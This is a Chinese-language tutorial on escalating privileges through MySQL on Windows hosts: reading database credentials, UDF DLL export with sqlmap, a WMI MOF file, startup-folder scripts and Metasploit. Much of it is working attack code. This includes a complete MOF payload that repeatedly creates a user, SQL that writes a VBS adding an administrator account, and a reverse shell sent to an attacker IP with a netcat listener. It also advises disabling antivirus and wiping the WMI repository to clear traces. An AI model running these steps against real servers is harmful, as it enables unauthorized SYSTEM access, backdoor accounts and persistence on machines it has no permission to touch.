Mysql提权介绍
系统漏洞利用比较困难的情况下,我们可以采用数据库提权的方式,不过数据库提权有其条件:服务器开启数据库服务以及获取到最高权限用户的密码。除了Access是数据库之外,其他数据库基本都存在数据库提权的可能。
常见密码获取方式
1.读取网站数据库配置文件(了解其命名规则以及查找技巧)
sql data inc config conn database common include
等
2.读取数据库存储或备份文件(了解其数据库存储格式以及对应内容)
@@basedir/data/数据库名/表名.myd
3.利用脚本暴力猜解(了解数据库是否支持外联以及如何开启外联)
mysql/user/host
中的host
字段就是可以链接的地址,修改为%就是允许任何地址访问。
获取user数据库下的admin的数据,我们需要查看数据文件中的mysql/data/user/admin.myd
常见的MYSQL提权方式
UDF导出提权
1.mysql<5.1
导出目录 C:/windows或system32
,2003放置在c:/windows/system32
目录,2000放置于c:\winnt\system32
目录下。
2.mysql>=5.1
导出安装目录/lib/plugin/
,一般情况下大于5.1版本中的plugin
目录是不存在的,所以我们就需要手工创建或者使用NTFS
流创建如上。
利用自定义执行函数导出dll文件进行命令执行
select version() select @@basedir
手动创建plugin目录或利用NTFS流创建
select 'x' intodumpfile '目录/lib/plugin::INDEX_ALLOCATION';
利用sqlmap进行UDF提权
我们在sqlmap中执行如下命令
python3 sqlmap.py -d "mysql://root:123456@192.168.252.182:3306/mysql" --os-shell
其中参数代表的意思是数据库类型://数据库用户名:密码@ip:端口/数据库名
这里sqlmap
会自动生成一个dll
文件,我们记得将杀毒软件进行关闭,否则dll
文件可能被杀软干掉
利用脚本进行UDF提权
这个脚本也是比较方便的,可以直观的获取数据库的基本信息并简化提权步骤
首先我们运行脚本,填写基本信息,点击提交
接下来我们就导出udf,由于我们的版本是5.7.26所以我们导出的位置是mysql安装目录\lib\plugin
导出成功,接着我们创建sys_eval
函数
最后我们尝试执行命令,我们可以发现命令成功执行。
MOF提权
MOF
提权的条件十分苛刻,大致条件如下:
windows 03
以下的版本mysql
启动身份具有权限读写c:/windows/system32/wbem/mof
目录- 我们可以使用
mysql
进行写入操作,也就是secure-file-priv
的配置不能为null
我们分析这些条件,首先是03
以下的版本,这个条件现在基本上能满足的服务器要么安全防护做得非常好,要么就是一台已经废弃的服务器了。接下来就是需要启动mysql的用户具有读写指定位置的权限,其实有这个权限之后,我们完全可以使用其他的方法进行提权,使用这种鸡肋的方法反而浪费我们的时间。最后一个条件,就是可以向服务器写入文件,这个权限也是很少有服务器开启的,一般都会设置为null
。
MOF文件
mof
是windows
系统的一个文件(路径:c:/windows/system32/wbem/mof/nullevt.mof
)叫做"托管对象格式",起作用是每隔五秒就会去监控进程的创建和死亡。
提权原理
我们可以使用其来提权的原因是,MOF
文件每5秒就会执行,而且权限是system
,如果我们可以控制执行的内容,那就相当于获得了system
的权限,我们可以通过mysql
来替换一个mof
文件,这个mof
中有一段是vbs
脚本,这个vbs
大多数是cmd
的添加管理员的命令。
提权过程
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
在这个脚本中,它会每5秒创建一次test
用户,我们可以自定义脚本执行的内容。接下来我们在mysql中执行如下命令将其写入到c:/windows/system32/wbem/mof/
目录下。
select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
这里不能使用outfile
,因为其会在文件的末尾写入新行,导致mof在被当作二进制文件的时候无法正常执行。如果我们使用phpstudy
来进行测试会失败,因为phpstudy
的权限无法修改mof
文件。
结束脚本执行
我们了解过之前的提权逻辑之后,我们知道这个脚本会一直执行,就算我们删除帐号,还是会继续创建,所以需要知道如何将脚本停下并清理痕迹。在cmd
中执行如下代码
net stop winmgmt
net user ghtwf011 /delete
del c:/windows/system32/wbem/repository
net start winmgmt
启动项提权
启动项是我们在电脑启动之后,会自动执行一些程序,启动项提权的原理就是将我们需要提权命令添加到启动项中,然后等待主机重新启动即可完成提权。
启动项测试
我们可以在菜单中看到启动这个选项,其就是启动项的目录所在地,我们当前测试的路径如下
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
我们可以在这个目录下写一个添加账户的命令
net user test -Ab00__abcd /add
我们将命令写入到一个.bat
文件中,这是windows
的一个批处理文件类型,紧接着我们重启服务器
重启之后,我们可以看到用户已经被添加
Mysql添加启动项
我们刚才尝试过手动添加启动项了,那么使用mysql来添加启动项的原理就很好理解了,基本上需要满足如下条件:
secure_file_priv
的值不为null
- 已经知道
mysql
的root
账户的密码 - 可以向启动项目录下写入文件
当满足以上条件之后,我们就可以在mysql
中使用命令来向启动项添加一个自启动文件,最终完成提权。
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user hpdoger 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators hpdoger /add"",0) " );
select * from a into outfile "C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\a.vbs";
我们远程连接mysql数据库使用root账户登录,然后执行以上命令
最终我们可以看到,在目标主机的启动项下面出现了a.vbs
的脚本,我们可以看到其中的内容就是我们在mysql
中添加的内容
我们可以看到,我们在代码中写的test
用户已经被创建了。
使用MSF添加启动项
添加启动项我们也可以直接使用msf,我们首先在msf中设置如下内容
set username root
set password 123456
set rhosts 192.168.252.182
exploit
我们看到msf提示在目标主机中创建的相应的文件
我们在目标主机中查看是否存在这个文件
由于我们没有设置监听的端口,这里使用的是默认的4444端口,那我们就监听4444端口,然后重启目标主机
最终反弹会了目标主机的shell,(我这里有点小问题)。
反弹shell提权
反弹shell使用的命令是mysql
中的backshell
函数,由于我们是使用mysql
的root账户登录的,所以我们反弹回来的shell也是system
权限的。
首先我们需要在攻击机监听端口nc -lvp 12345
接着在目标主机的mysql中执行
select backshell("192.168.252.133",12345);
接下来在我们之前使用的udf提权脚本中进行shell的反弹即可。
参考文章